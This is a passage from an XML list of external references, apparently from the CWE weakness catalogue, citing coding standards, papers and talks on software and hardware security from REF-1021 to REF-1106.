			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890568</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1021">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rec. 02. Declarations and Initialization (DCL)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890569</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1022">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rec. 03. Expressions (EXP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890559</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1023">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rec. 04. Integers (INT)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890560</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1024">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rec. 05. Strings (STR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890563</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1025">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rec. 06. Object-Oriented Programming (OOP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890561</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1026">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rec. 07. File Input and Output (FIO)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890496</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1027">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Perl Coding Standard : Rule 50. Miscellaneous (MSC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890502</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1028">
			<Title>2019 CWE Top 25 Most Dangerous Software Errors</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>http://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1029">
			<Author>Aleph One</Author>
			<Title>Smashing The Stack For Fun And Profit</Title>
			<Publication_Year>1996</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>http://phrack.org/issues/49/14.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1030">
			<Author>Eldar Marcussen</Author>
			<Title>Security issues with using PHP's escapeshellarg</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://baesystemsai.blogspot.com/2013/11/security-issues-with-using-phps.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1031">
			<Title>Null pointer / Null dereferencing</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<Publisher>Wikipedia</Publisher>
			<URL>https://en.wikipedia.org/wiki/Null_pointer#Null_dereferencing</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1032">
			<Title>Null Reference Creation and Null Pointer Dereference</Title>
			<Publisher>Apple</Publisher>
			<URL>https://developer.apple.com/documentation/xcode/null-reference-creation-and-null-pointer-dereference</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1033">
			<Title>NULL Pointer Dereference [CWE-476]</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<Publisher>ImmuniWeb</Publisher>
			<URL>https://www.immuniweb.com/vulnerability/null-pointer-dereference.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1034">
			<Author>Raoul Strackx</Author>
			<Author>Yves Younan</Author>
			<Author>Pieter Philippaerts</Author>
			<Author>Frank Piessens</Author>
			<Author>Sven Lachmund</Author>
			<Author>Thomas Walter</Author>
			<Title>Breaking the memory secrecy assumption</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---31</Publication_Day>
			<Publisher>ACM</Publisher>
			<URL>https://dl.acm.org/doi/10.1145/1519144.1519145</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1035">
			<Author>Fermin J. Serna</Author>
			<Title>The info leak era on software exploitation</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1036">
			<Author>Ali Abbasi and Majid Hashemi</Author>
			<Title>Ghost in the PLC Designing an Undetectable Programmable Logic Controller Rootkit via Pin Control Attack</Title>
			<Publication_Year>2016</Publication_Year>
			<URL>https://www.blackhat.com/docs/eu-16/materials/eu-16-Abbasi-Ghost-In-The-PLC-Designing-An-Undetectable-Programmable-Logic-Controller-Rootkit-wp.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1037">
			<Author>Kurt Rosenfeld</Author>
			<Author>Ramesh Karri</Author>
			<Title>Attacks and Defenses for JTAG</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<URL>https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=5406671</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1038">
			<Title>DMA attack</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://en.wikipedia.org/wiki/DMA_attack</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1039">
			<Author>A. Theodore Markettos</Author>
			<Author>Colin Rothwell</Author>
			<Author>Brett F. Gutstein</Author>
			<Author>Allison Pearce</Author>
			<Author>Peter G. Neumann</Author>
			<Author>Simon W. Moore</Author>
			<Author>Robert N. M. Watson</Author>
			<Title>Thunderclap: Exploring Vulnerabilities in Operating System IOMMU Protection via DMA from Untrustworthy Peripherals</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_05A-1_Markettos_paper.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1040">
			<Author>Maximillian Dornseif</Author>
			<Author>Michael Becher</Author>
			<Author>Christian N. Klein</Author>
			<Title>FireWire all your memory are belong to us</Title>
			<Publication_Year>2005</Publication_Year>
			<URL>http://www.orkspace.net/secdocs/Conferences/CanSecWest/2005/0wn3d%20by%20an%20iPod%20-%20Firewire1394%20Issues.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1041">
			<Author>Rory Breuk</Author>
			<Author>Albert Spruyt</Author>
			<Author>Adam Boileau</Author>
			<Title>Integrating DMA attacks in exploitation frameworks</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://www.os3.nl/_media/2011-2012/courses/rp1/p14_report.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1042">
			<Author>Maximillian Dornseif</Author>
			<Title>Owned by an iPod</Title>
			<Publication_Year>2004</Publication_Year>
			<URL>https://web.archive.org/web/20060505224959/https://pacsec.jp/psj04/psj04-dornseif-e.ppt</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1043">
			<Author>Gopal Vishwakarma</Author>
			<Author>Wonjun Lee</Author>
			<Title>Exploiting JTAG and Its Mitigation in IOT: A Survey</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://www.mdpi.com/1999-5903/10/12/121/pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1044">
			<Author>Dmytro Oleksiuk</Author>
			<Title>My aimful life</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<URL>http://blog.cr4.sh/2015/09/breaking-uefi-security-with-software.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1045">
			<Title>PCILeech</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://github.com/ufrisk/pcileech</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1046">
			<Author>A. Theodore Markettos</Author>
			<Author>Adam Boileau</Author>
			<Title>Hit by a Bus:Physical Access Attacks with Firewire</Title>
			<Publication_Year>2006</Publication_Year>
			<URL>https://security-assessment.com/files/presentations/ab_firewire_rux2k6-final.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1047">
			<Author>Wikipedia</Author>
			<Title>General Data Protection Regulation</Title>
			<URL>https://en.wikipedia.org/wiki/General_Data_Protection_Regulation</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1048">
			<Author>State of California Department of Justice, Office of the Attorney General</Author>
			<Title>California Consumer Privacy Act (CCPA)</Title>
			<URL>https://oag.ca.gov/privacy/ccpa</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1049">
			<Author>Wikipedia</Author>
			<Title>Parasitic computing</Title>
			<URL>https://en.wikipedia.org/wiki/Parasitic_computing</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1050">
			<Author>WASC</Author>
			<Title>Insecure Indexing</Title>
			<URL>http://projects.webappsec.org/w/page/13246937/Insecure%20Indexing</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1051">
			<Title>Oracle Java Documentation</Title>
			<URL> https://docs.oracle.com/javase/1.5.0/docs/guide/language/autoboxing.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1052">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 02. Expressions (EXP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/display/java/EXP04-J.+Do+not+pass+arguments+to+certain+Java+Collections+Framework+methods+that+are+a+different+type+than+the+collection+parameter+type</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1053">
			<Author>NIST</Author>
			<Title>Digital Identity Guidelines (SP 800-63B)</Title>
			<Publication_Year>2017</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<URL>https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1055">
			<Author>Peter Gutmann</Author>
			<Title>Data Remanence in Semiconductor Devices</Title>
			<Publication>10th USENIX Security Symposium</Publication>
			<Publication_Year>2001</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<URL>https://www.usenix.org/legacy/events/sec01/full_papers/gutmann/gutmann.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1056">
			<Author>F-Secure Labs</Author>
			<Title>Multiple Vulnerabilities in Barco Clickshare: JTAG access is not permanently disabled</Title>
			<URL>https://labs.f-secure.com/advisories/multiple-vulnerabilities-in-barco-clickshare/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1057">
			<Author>Kurt Rosenfeld</Author>
			<Author>Ramesh Karri</Author>
			<Title>Attacks and Defenses for JTAG</Title>
			<URL>https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=5406671</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1058">
			<Author>Moinuddin Qureshi</Author>
			<Author>Michele Franchescini</Author>
			<Author>Vijayalakshmi Srinivasan</Author>
			<Author>Luis Lastras</Author>
			<Author>Bulent Abali</Author>
			<Author>John Karidis</Author>
			<Title>Enhancing Lifetime and Security of PCM-Based Main Memory with Start-Gap Wear Leveling</Title>
			<URL>https://researcher.watson.ibm.com/researcher/files/us-moinqureshi/papers-sgap.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1059">
			<Author>Micron</Author>
			<Title>Bad Block Management in NAND Flash Memory</Title>
			<URL>https://www.micron.com/-/media/client/global/documents/products/technical-note/nand-flash/tn2959_bbm_in_nand_flash.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1060">
			<Author>Farimah Farahmandi</Author>
			<Author>Prabhat Mishra</Author>
			<Title>FSM Anomaly Detection using Formal Analysis</Title>
			<URL>https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=8119228&amp;tag=1</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1061">
			<Author>Keith Bowman</Author>
			<Author>James Tschanz</Author>
			<Author>Chris Wilkerson</Author>
			<Author>Shih-Lien Lu</Author>
			<Author>Tanay Karnik</Author>
			<Author>Vivek De</Author>
			<Author>Shekhar Borkar</Author>
			<Title>Circuit Techniques for Dynamic Variation Tolerance</Title>
			<URL>https://dl.acm.org/doi/10.1145/1629911.1629915</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1062">
			<Author>Dan Ernst</Author>
			<Author>Nam Sung Kim</Author>
			<Author>Shidhartha Das</Author>
			<Author>Sanjay Pant</Author>
			<Author>Rajeev Rao</Author>
			<Author>Toan Pham</Author>
			<Author>Conrad Ziesler</Author>
			<Author>David Blaauw</Author>
			<Author>Todd Austin</Author>
			<Author>Krisztian Flautner</Author>
			<Author>Trevor Mudge</Author>
			<Title>Razor: A Low-Power Pipeline Based on Circuit-Level Timing Speculation</Title>
			<URL>https://web.eecs.umich.edu/~taustin/papers/MICRO36-Razor.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1063">
			<Author>James Tschanz</Author>
			<Author>Keith Bowman</Author>
			<Author>Steve Walstra</Author>
			<Author>Marty Agostinelli</Author>
			<Author>Tanay Karnik</Author>
			<Author>Vivek De</Author>
			<Title>Tunable Replica Circuits and Adaptive Voltage-Frequency Techniques for Dynamic Voltage, Temperature, and Aging Variation Tolerance</Title>
			<URL>https://ieeexplore.ieee.org/document/5205410</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1064">
			<Author>Bilgiday Yuce</Author>
			<Author>Nahid F. Ghalaty</Author>
			<Author>Chinmay Deshpande</Author>
			<Author>Conor Patrick</Author>
			<Author>Leyla Nazhandali</Author>
			<Author>Patrick Schaumont</Author>
			<Title>FAME: Fault-attack Aware Microprocessor Extensions for Hardware Fault Detection and Software Fault Response</Title>
			<URL>https://dl.acm.org/doi/10.1145/2948618.2948626</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1065">
			<Author>Keith A. Bowman</Author>
			<Author>James W. Tschanz</Author>
			<Author>Shih-Lien L. Lu</Author>
			<Author>Paolo A. Aseron</Author>
			<Author>Muhammad M. Khellah</Author>
			<Author>Arijit Raychowdhury</Author>
			<Author>Bibiche M. Geuskens</Author>
			<Author>Carlos Tokunaga</Author>
			<Author>Chris B. Wilkerson</Author>
			<Author>Tanay Karnik</Author>
			<Author>Vivek De</Author>
			<Title>A 45 nm Resilient Microprocessor Core for Dynamic Variation Tolerance</Title>
			<URL>https://ieeexplore.ieee.org/document/5654663</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1066">
			<Author>Niek Timmers</Author>
			<Author>Albert Spruyt</Author>
			<Title>Bypassing Secure Boot Using Fault Injection</Title>
			<URL>https://www.blackhat.com/docs/eu-16/materials/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault-Injection.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1067">
			<Author>Brian Bailey</Author>
			<Title>Why Chips Die</Title>
			<URL>https://semiengineering.com/why-chips-die/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1068">
			<Author>V. Lakshminarayan</Author>
			<Title>What causes semiconductor devices to fail</Title>
			<URL>Original</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1069">
			<Author>Tanakorn Leesatapornwongsa</Author>
			<Author>Jeffrey F. Lukman</Author>
			<Author>Shan Lu</Author>
			<Author>Haryadi S. Gunawi</Author>
			<Title>TaxDC: A Taxonomy of Non-Deterministic Concurrency Bugs
				in Datacenter Distributed Systems</Title>
			<Publication_Year>2016</Publication_Year>
			<URL>https://ucare.cs.uchicago.edu/pdf/asplos16-TaxDC.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1070">
			<Author>Tony Martin</Author>
			<Title>Ghost in the Shell Weakness</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://friendsglobal.com/ghost-in-the-shell/ghost-in-the-shell-weakness/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1071">
			<Author>Ali Abbasi</Author>
			<Author>Tobias Scharnowski</Author>
			<Author>Thorsten Holz</Author>
			<Title>Doors of Durin: The Veiled Gate to Siemens S7 Silicon</Title>
			<URL>https://i.blackhat.com/eu-19/Wednesday/eu-19-Abbasi-Doors-Of-Durin-The-Veiled-Gate-To-Siemens-S7-Silicon.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1072">
			<Author>Sergei Skorobogatov</Author>
			<Author>Christopher Woods</Author>
			<Title>Breakthrough Silicon Scanning Discovers Backdoor in Military Chip</Title>
			<URL>https://www.cl.cam.ac.uk/~sps32/Silicon_scan_draft.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1073">
			<Author>Chris Domas</Author>
			<Title>God Mode Unlocked: Hardware Backdoors in x86 CPUs</Title>
			<URL>https://i.blackhat.com/us-18/Thu-August-9/us-18-Domas-God-Mode-Unlocked-Hardware-Backdoors-In-x86-CPUs.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1074">
			<Author>Jonathan Brossard</Author>
			<Title>Hardware Backdooring is Practical</Title>
			<URL>https://media.blackhat.com/bh-us-12/Briefings/Brossard/BH_US_12_Brossard_Backdoor_Hacking_Slides.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1075">
			<Author>Sergei Skorabogatov</Author>
			<Title>Security, Reliability, and Backdoors</Title>
			<URL>https://www.cl.cam.ac.uk/~sps32/SG_talk_SRB.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1076">
			<Author>ARM</Author>
			<Title>Cortex-R4 Manual</Title>
			<URL>https://developer.arm.com/Processors/Cortex-M4</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1077">
			<Author>Intel</Author>
			<Title>MCS 51 Microcontroller Family User's Manual</Title>
			<URL>http://web.mit.edu/6.115/www/document/8051.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1078">
			<Author>ARM</Author>
			<Title>Memory Protection Unit (MPU)</Title>
			<URL>https://web.archive.org/web/20200630034848/https://static.docs.arm.com/100699/0100/armv8m_architecture_memory_protection_unit_100699_0100_00_en.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1079">
			<Author>Joe Fitzpatrick</Author>
			<Title>SCA4n00bz - Timing-based Sidechannel Attacks for Hardware N00bz workshop</Title>
			<URL>https://github.com/securelyfitz/SCA4n00bz</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1080">
			<Author>Christopher Tarnovsky</Author>
			<Title>Security Failures in Secure Devices</Title>
			<URL>https://www.blackhat.com/presentations/bh-europe-08/Tarnovsky/Presentation/bh-eu-08-tarnovsky.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1081">
			<Author>Kit Murdock</Author>
			<Author>David Oswald</Author>
			<Author>Flavio D Garcia</Author>
			<Author>Jo Van Bulck</Author>
			<Author>Frank Piessens</Author>
			<Author>Daniel Gruss</Author>
			<Title>Plundervolt</Title>
			<URL>https://plundervolt.com/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1082">
			<Author>Adrian Tang</Author>
			<Author>Simha Sethumadhavan</Author>
			<Author>Salvatore Stolfo</Author>
			<Title>CLKSCREW: Exposing the Perils of Security-Oblivious Energy Management</Title>
			<URL>https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-tang.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1083">
			<Author>Yoongu Kim</Author>
			<Author>Ross Daly</Author>
			<Author>Jeremie Kim</Author>
			<Author>Ji Hye Lee</Author>
			<Author>Donghyuk Lee</Author>
			<Author>Chris Wilkerson</Author>
			<Author>Konrad Lai</Author>
			<Author>Onur Mutlu</Author>
			<Title>Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors</Title>
			<URL>https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1084">
			<Author>Gopal Vishwakarma</Author>
			<Author>Wonjun Lee</Author>
			<Title>JTAG Explained (finally!): Why "IoT", Software Security Engineers, and Manufacturers Should Care</Title>
			<URL>https://www.mdpi.com/1999-5903/10/12/121/pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1085">
			<Author>Bob Molyneaux</Author>
			<Author>Mark McDermott</Author>
			<Author>Anil Sabbavarapu</Author>
			<Title>Design for Testability &amp; Design for Debug</Title>
			<URL>http://users.ece.utexas.edu/~mcdermot/vlsi-2/Lecture_17.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1086">
			<Author>Fan Wang</Author>
			<Author>Vishwani D. Agrawal</Author>
			<Title>Single Event Upset: An Embedded Tutorial</Title>
			<URL>https://www.eng.auburn.edu/~agrawvd/TALKS/tutorial_6pg.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1087">
			<Author>P. D. Bradley</Author>
			<Author>E. Normand</Author>
			<Title>Single Event Upsets in Implantable Cardioverter Defibrillators</Title>
			<URL>https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=736549&amp;tag=1</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1088">
			<Author>Melanie Berg</Author>
			<Author>Kenneth LaBel</Author>
			<Author>Jonathan Pellish</Author>
			<Title>Single Event Effects in FPGA Devices 2015-2016</Title>
			<URL>https://ntrs.nasa.gov/search.jsp?R=20160007754</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1089">
			<Author>Cisco</Author>
			<Title>Cisco 12000 Single Event Upset Failures Overview and Work Around Summary</Title>
			<URL>https://www.cisco.com/c/en/us/support/docs/field-notices/200/fn25994.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1090">
			<Author>Cypress</Author>
			<Title>Different Ways to Mitigate Soft Errors in Asynchronous SRAMs - KBA90939</Title>
			<URL>https://community.infineon.com/t5/Knowledge-Base-Articles/Different-Ways-to-Mitigate-Soft-Errors-in-Asynchronous-SRAMs-KBA90939/ta-p/257944</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1091">
			<Author>Ian Johnston</Author>
			<Title>Cosmic particles can change elections and cause plans to fall through the sky, scientists warn</Title>
			<URL>https://www.independent.co.uk/news/science/subatomic-particles-cosmic-rays-computers-change-elections-planes-autopilot-a7584616.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1092">
			<Author>Shahed E. Quadir</Author>
			<Author>Junlin Chen</Author>
			<Author>Domenic Forte</Author>
			<Author>Navid Asadizanjani</Author>
			<Author>Sina Shahbazmohamadi</Author>
			<Author>Lei Wang</Author>
			<Author>John Chandy</Author>
			<Author>Mark Tehranipoor</Author>
			<Title>A Survey on Chip to System Reverse Engineering</Title>
			<URL>https://dl.acm.org/doi/pdf/10.1145/2755563</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1093">
			<Author>Brandon Hill</Author>
			<Title>Huge Intel CPU Bug Allegedly Causes Kernel Memory Vulnerability With Up To 30% Performance Hit In Windows And Linux</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<URL>https://hothardware.com/news/intel-cpu-bug-kernel-memory-isolation-linux-windows-macos</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1094">
			<Author>Christopher Domas</Author>
			<Title>Breaking the x86 ISA</Title>
			<URL>https://github.com/xoreaxeaxeax/sandsifter/blob/master/references/domas_breaking_the_x86_isa_wp.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1095">
			<Author>Matthew Hughes</Author>
			<Title>Bad news: KeyWe Smart Lock is easily bypassed and can't be fixed</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://www.theregister.com/2019/12/11/f_secure_keywe/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1096">
			<Author>Alex Scroxton</Author>
			<Title>Alarm bells ring, the IoT is listening</Title>
			<URL>https://www.computerweekly.com/news/252475324/Alarm-bells-ring-the-IoT-is-listening</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1097">
			<Author>Brian Krebs</Author>
			<Title>Zyxel Flaw Powers New Mirai IoT Botnet Strain</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://krebsonsecurity.com/2020/03/zxyel-flaw-powers-new-mirai-iot-botnet-strain/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1098">
			<Author>Jack Tang</Author>
			<Title>Root Cause Analysis of CVE-2014-1772 - An Internet Explorer Use After Free Vulnerability</Title>
			<Publication_Year>2014</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://www.trendmicro.com/en_us/research.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1099">
			<Author>Simon Zuckerbraun</Author>
			<Title>It's Time To Terminate The Terminator</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://www.zerodayinitiative.com/blog/2018/5/15/its-time-to-terminate-the-terminator</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1100">
			<Author>Christopher Domas</Author>
			<Title>The Memory Sinkhole</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://github.com/xoreaxeaxeax/sinkhole/blob/master/us-15-Domas-TheMemorySinkhole-wp.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1101">
			<Author>Anders B. Wilhelmsen</Author>
			<Author>Eivind S. Kristiansen</Author>
			<Author>Marie Moe</Author>
			<Title>The Hard-coded Key to my Heart - Hacking a Pacemaker Programmer</Title>
			<Publication_Year>2019</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>https://anderbw.github.io/2019-08-10-DC27-Biohacking-pacemaker-programmer.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1102">
			<Author>Chetan Conikee</Author>
			<Title>Case Files from 20 Years of Business Logic Flaws</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<URL>https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18217/2020_USA20_DSO-R02_01_Case%20Files%20from%2020%20Years%20of%20Business%20Logic%20Flaws.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1103">
			<Author>Lucian Armasu</Author>
			<Title>Intel ME's Undocumented Manufacturing Mode Suggests CPU Hacking Risks</Title>
			<Publication_Year>2018</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://www.tomshardware.com/news/intel-me-cpu-undocumented-manufacturing-mode,37883.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1104">
			<Author>M. West</Author>
			<Author>M. Goodwin</Author>
			<Title>SameSite attribute specification draft</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://datatracker.ietf.org/doc/html/draft-west-first-party-cookies-07</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-1105">
			<Author>Mozilla</Author>
			<Title>SameSite attribute description on MDN Web Docs</Title>
			<Publication_Year>2020</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-1106">
			<Author>The Chromium Projects</Author>
			<Title>Chromium support for SameSite attribute</Title>
			<Publication_Year>2019</Publication_Year>
